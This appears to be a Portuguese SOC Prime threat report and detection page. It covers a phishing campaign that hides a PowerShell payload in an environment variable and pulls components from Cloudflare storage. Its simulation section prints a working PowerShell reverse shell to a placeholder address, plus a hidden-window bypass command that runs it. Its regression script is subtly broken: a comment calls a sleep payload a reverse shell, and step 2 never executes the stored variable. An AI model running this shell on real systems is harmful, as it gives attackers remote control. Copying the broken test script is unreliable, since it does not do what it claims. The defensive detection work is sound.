SOC Prime Bias: Medium

05 Jun 2026 15:49 UTC

O Retorno do Maligno Fundo MSI

Author Photo
SOC Prime Team linkedin icon Seguir
O Retorno do Maligno Fundo MSI
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Um e-mail de phishing contendo um link do WeTransfer entrega um arquivo JavaScript que armazena uma carga útil ofuscada dentro de uma variável de ambiente. Essa carga útil é posteriormente decodificada e executada via PowerShell lançado via WMI, que baixa uma imagem maliciosa JPEG no estilo MSI e uma DLL .NET do Cloudflare Workers e do armazenamento R2. A DLL é uma versão modificada de Microsoft.Win32.TaskScheduler usada para carregar cargas úteis subsequentes e possivelmente criar persistência através de tarefas agendadas. A campanha destaca como atores de ameaça continuam a abusar de serviços legítimos em nuvem para hospedar e distribuir componentes maliciosos.

Investigação

O analista identificou um arquivo JavaScript inicial chamado Remittance Advice.js contendo código ofuscado por ROT13 que cria a variável de ambiente INTERNAL_DB_CACHE . O PowerShell é então lançado em uma janela oculta via WMI e executa o bloco de script decodificado. Esse script recupera um arquivo JPEG de um subdomínio workers.dev e um arquivo PNG de um bucket público r2.dev , ambos provavelmente usados para transportar cargas adicionais através de métodos esteganográficos. O componente da última etapa é uma DLL .NET derivada da biblioteca de código aberto TaskScheduler.

Mitigação

As organizações devem bloquear o acesso a domínios maliciosos conhecidos, como we.tl, workers.dev, e r2.dev no nível do firewall ou proxy. A execução do PowerShell e a criação de processos baseados em WMI devem ser restritas para usuários não confiáveis sempre que possível. Os defensores também devem monitorar a execução oculta do PowerShell, abuso do método Win32_Process.Create , e variáveis de ambiente incomuns como INTERNAL_DB_CACHE. Arquivos baixados de armazenamento público em nuvem devem ser submetidos a validação e inspeção rigorosas.

Resposta

As equipes de segurança devem alertar quando o PowerShell for iniciado com uma janela oculta através do WMI e quando a variável INTERNAL_DB_CACHE for criada ou modificada. Qualquer processo que se conecte às URLs identificadas ou baixe conteúdo de workers.dev or r2.dev deve ser investigado imediatamente. A análise forense deve se concentrar em localizar a DLL .NET maliciosa e identificar tarefas agendadas recém-criadas que dependem da biblioteca TaskScheduler. Hosts afetados devem ser remediados prontamente e o conteúdo de detecção deve ser atualizado com os indicadores observados.

Fluxo de Ataque

Detecções

A Possibilidade de Execução Através de Linhas de Comando do PowerShell Oculto (via cmdline)

Equipe SOC Prime
05 Jun 2026

LOLBAS WScript / CScript (via process_creation)

Equipe SOC Prime
05 Jun 2026

Possível Abuso de Domínio de Desenvolvimento Cloudflare (via dns)

Equipe SOC Prime
05 Jun 2026

Variável de Ambiente do PowerShell com Execução de Carga Útil Codificada [Windows Powershell]

Regras de IA SOC Prime
05 Jun 2026

Execução de Simulação

Pré-requisito: O Check de Pré-voo da Telemetria e linha de base deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa de Ataque & Comandos:
    O atacante primeiro injeta uma carga útil PowerShell codificada em base64 em uma variável de ambiente no nível do processo chamada INTERNAL_DB_CACHE. Essa carga útil, quando decodificada, lança um shell reverso. O atacante então invoca um segundo processo PowerShell que lê a variável e a executa via ScriptBlock::Create, mantendo assim o comando malicioso fora da linha de comando imediata. Essa abordagem de “viver da terra” evita a detecção por assinatura estática e aproveita o padrão de dois passos que a regra é projetada para detectar.

    1. Etapa 1 – Codificar carga útil e armazenar em variável de ambiente

      $payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
      $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
      [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")
    2. Etapa 2 – Executar a carga codificada da variável de ambiente

      powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))
  • Script de Teste de Regressão: O script abaixo automatiza os dois passos, captura timestamps para correlação e insere uma pequena pausa para permitir que o primeiro processo termine antes do segundo começar.

    # ----------------------------------------------
    # Simulação de PowerShell de carga codificada em var ambiente
    # ----------------------------------------------
    
    # Passo 1 – Codifique uma carga de shell reverso inofensiva (substitua pelo seu endereço C2)
    $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep'   # Pequena carga benigna para teste seguro
    $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")
    Write-Host "[*] Variável de ambiente INTERNAL_DB_CACHE definida."
    
    # Pequena pausa para garantir que o primeiro comando seja registrado
    Start-Sleep -Seconds 2
    
    # Passo 2 – Execute a carga da variável
    powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command `
    Write-Host "[*] Execução de carga acionada."
  • Comandos de Limpeza: Remova a variável de ambiente temporária e termine quaisquer processos remanescentes criados durante o teste.

    # Remova a variável de ambiente de teste
    [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process")
    Write-Host "[*] LIMPEZA – INTERNAL_DB_CACHE removido."
    
    # Certifique-se de que não restem instâncias órfãs do powershell.exe (exclua a sessão atual)
    Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force
    Write-Host "[*] LIMPEZA – processos do PowerShell órfãos terminados."